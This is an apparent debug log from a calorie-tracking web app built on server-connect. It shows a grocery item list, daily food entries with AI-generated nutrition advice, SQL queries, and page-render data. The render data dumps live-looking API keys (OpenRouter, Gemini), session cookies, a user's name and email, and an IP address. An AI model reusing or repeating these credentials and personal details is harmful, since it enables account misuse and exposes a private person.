  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-19T10:26:20.716Z server-connect:output item_list: [
  {
    id: 447,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Walnut',
    calories: 26,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 3,
    quantity: '2 pieces',
    replacements: 'Almonds (slightly lower in calories per nut, good protein),Pistachios (lower calorie per nut, good protein)',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats, protein, and micronutrients. Good for muscle development and overall health.'
  },
  {
    id: 448,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee (natural caffeine source),Green tea (natural caffeine, antioxidants)',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 2,
    skip_reason: "While pre-workouts can boost performance, many contain artificial sweeteners and stimulants. For muscle development, focus on whole foods and adequate sleep. If you feel you need it, ensure it's a reputable brand with minimal additives."
  },
  {
    id: 449,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 3,
    carbs_gm: 5,
    fat_gm: 3,
    quantity: '100 ml',
    replacements: 'Black tea (no milk, no sugar),Green tea (no milk, no sugar),Herbal tea',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 2,
    skip_reason: "Milk tea without sugar is relatively low in calories. However, if you're trying to maximize protein intake and minimize fat, plain black tea or green tea would be even better. The milk adds some calories and fat that might be better sourced from other, more nutrient-dense foods for muscle building."
  },
  {
    id: 450,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle repair overnight),Plant-based protein (pea, rice, soy - often lower in calories and fat, but check protein content)',
    created_at: '2025-12-18T23:59:32.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, high in protein, low in carbs and fat. Ideal for your goals.'
  },
  {
    id: 451,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 30,
    protein_gm: 3,
    carbs_gm: 5,
    fat_gm: 1,
    quantity: '100ml',
    replacements: 'Black tea (no milk),Green tea,Herbal tea',
    created_at: '2025-12-19T01:01:13.000Z',
    skip_level: 1,
    skip_reason: 'Generally good, especially without sugar. Provides some protein and hydration.'
  },
  {
    id: 452,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Roti',
    calories: 350,
    protein_gm: 11,
    carbs_gm: 74,
    fat_gm: 4,
    quantity: '3.5',
    replacements: 'Jowar Roti,Bajra Roti,Multigrain Roti',
    created_at: '2025-12-19T01:37:52.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 453,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Aloo Matar Sabzi',
    calories: 150,
    protein_gm: 5,
    carbs_gm: 23,
    fat_gm: 6,
    quantity: '1 serving (approx 150g)',
    replacements: 'Paneer Bhurji (less oil),Mixed Vegetable Sabzi (more greens, less potato),Mushroom Matar',
    created_at: '2025-12-19T01:37:52.000Z',
    skip_level: 2,
    skip_reason: 'Potatoes are high in carbs and can be replaced with more protein-rich or lower-carb vegetables for muscle development goals.'
  },
  {
    id: 454,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 30,
    protein_gm: 2,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '100ml',
    replacements: 'Black tea,Green tea,Herbal tea,Water',
    created_at: '2025-12-19T04:49:29.000Z',
    skip_level: 1,
    skip_reason: 'Relatively low in calories and can be a good source of hydration. If using full-fat milk, switching to skim or low-fat milk can further reduce calories and fat.'
  },
  {
    id: 455,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Jaggery Nuts Patti',
    calories: 90,
    protein_gm: 2,
    carbs_gm: 12,
    fat_gm: 5,
    quantity: '1 small piece (approx 20g, assuming a small piece is about 20g)',
    replacements: 'Plain roasted nuts (almonds, walnuts),A small piece of fruit (apple, orange),Sugar-free nut bars',
    created_at: '2025-12-19T04:51:09.000Z',
    skip_level: 2,
    skip_reason: "While nuts provide healthy fats and protein, jaggery adds significant sugar. For muscle development, focusing on protein and complex carbs is better. This is an 'ok' snack but not ideal for maximizing muscle gain due to the added sugar."
  }
]
2025-12-19T10:26:20.716Z server-connect:app Executing action step setvalue
2025-12-19T10:26:20.716Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-19T10:26:20.717Z server-connect:output var_total: 866
2025-12-19T10:26:20.717Z server-connect:app Executing action step setvalue
2025-12-19T10:26:20.717Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-19T10:26:20.717Z server-connect:output var_consumed: 36
2025-12-19T10:26:20.717Z server-connect:app Executing action step setvalue
2025-12-19T10:26:20.717Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-19T10:26:20.717Z server-connect:output var_deficit: 1534
2025-12-19T10:26:20.717Z server-connect:app Executing action step custom
2025-12-19T10:26:20.717Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-19T10:26:20.718Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '866',
    surplus_or_deficit: '1534',
    status_flag: 2
  }
]
2025-12-19T10:26:21.493Z server-connect:app Executing action step identify
2025-12-19T10:26:21.493Z server-connect:app options: { provider: 'security' }
2025-12-19T10:26:21.493Z server-connect:output identity: 1
2025-12-19T10:26:23.763Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-19T10:26:23.763Z server-connect:app Executing action step identify
2025-12-19T10:26:23.763Z server-connect:app options: { provider: 'security' }
2025-12-19T10:26:23.763Z server-connect:output identity: 1
2025-12-19T10:26:23.763Z server-connect:app Executing action step restrict
2025-12-19T10:26:23.763Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T10:26:23.764Z server-connect:output restrict: undefined
2025-12-19T10:26:23.764Z server-connect:app Executing action step processWithGemini
2025-12-19T10:26:23.764Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-19T10:26:25.657Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Salted Hot Peanuts',
      quantity: '50 gm',
      calories_consumed: 285,
      total_calories: 285,
      protein: 12.8,
      carbs: 8.5,
      fat: 24.1,
      unit: [Object],
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: 'While peanuts offer protein and healthy fats, salted hot peanuts can be high in sodium and often contain added oils/spices that increase calorie density. For muscle development, a less processed, unsalted version would be preferable, or consider other protein sources with less fat if calorie intake is a concern.'
    }
  ],
  total_macros: {
    protein: 12.8,
    carbs: 8.5,
    fat: 24.1,
    unit: { protein: 'g', carbs: 'g', fat: 'g' }
  }
}
2025-12-19T10:26:35.441Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-19T10:26:35.442Z server-connect:app Executing action step identify
2025-12-19T10:26:35.442Z server-connect:app options: { provider: 'security' }
2025-12-19T10:26:35.442Z server-connect:output identity: 1
2025-12-19T10:26:35.442Z server-connect:app Executing action step restrict
2025-12-19T10:26:35.442Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T10:26:35.442Z server-connect:output restrict: undefined
2025-12-19T10:26:35.442Z server-connect:app Executing action step condition
2025-12-19T10:26:35.442Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-19T10:26:35.442Z server-connect:app Executing action step repeat
2025-12-19T10:26:35.442Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-19T10:26:35.443Z server-connect:app Executing action step insert
2025-12-19T10:26:35.443Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-19T10:26:35.444Z server-connect:output calories: { affected: 1, identity: 456 }
2025-12-19T10:26:35.444Z server-connect:output repeat: [ {} ]
2025-12-19T10:26:35.444Z server-connect:output condition: undefined
2025-12-19T10:26:35.659Z server-connect:router Serving templateView /calorie-tracker
2025-12-19T10:26:35.659Z server-connect:app Executing action step identify
2025-12-19T10:26:35.659Z server-connect:app options: { provider: 'security' }
2025-12-19T10:26:35.659Z server-connect:output identity: 1
2025-12-19T10:26:35.659Z server-connect:app Executing action step restrict
2025-12-19T10:26:35.660Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-19T10:26:35.660Z server-connect:output restrict: undefined
2025-12-19T10:26:35.660Z server-connect:router Render template layouts/main
2025-12-19T10:26:35.660Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-19T18:03:30.349Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-19T10:26:35.894Z server-connect:app Executing action step identify
2025-12-19T10:26:35.894Z server-connect:app options: { provider: 'security' }
2025-12-19T10:26:35.894Z server-connect:output identity: 1
2025-12-19T10:26:36.211Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-19T10:26:36.213Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-19T10:26:36.213Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-19T10:26:36.214Z server-connect:app Executing action step identify
2025-12-19T10:26:36.214Z server-connect:app options: { provider: 'security' }
2025-12-19T10:26:36.214Z server-connect:output identity: 1
2025-12-19T10:26:36.214Z server-connect:app Executing action step restrict
2025-12-19T10:26:36.214Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T10:26:36.214Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-19T10:26:36.214Z server-connect:output restrict: undefined
2025-12-19T10:26:36.214Z server-connect:app Executing action step single
2025-12-19T10:26:36.214Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-19T10:26:36.215Z server-connect:app Executing action step identify
2025-12-19T10:26:36.215Z server-connect:app options: { provider: 'security' }
2025-12-19T10:26:36.215Z server-connect:output identity: 1
2025-12-19T10:26:36.215Z server-connect:app Executing action step restrict
2025-12-19T10:26:36.215Z server-connect:app options: { provider: 'security' }
2025-12-19T10:26:36.215Z server-connect:output restrict: undefined
2025-12-19T10:26:36.215Z server-connect:app Executing action step single
2025-12-19T10:26:36.215Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-19T10:26:36.215Z server-connect:app Executing action step identify
2025-12-19T10:26:36.215Z server-connect:app options: { provider: 'security' }
2025-12-19T10:26:36.216Z server-connect:output identity: 1
2025-12-19T10:26:36.216Z server-connect:app Executing action step restrict
2025-12-19T10:26:36.216Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T10:26:36.216Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-19T10:26:36.216Z server-connect:output summary: {
  summary: {
    rating: 6,
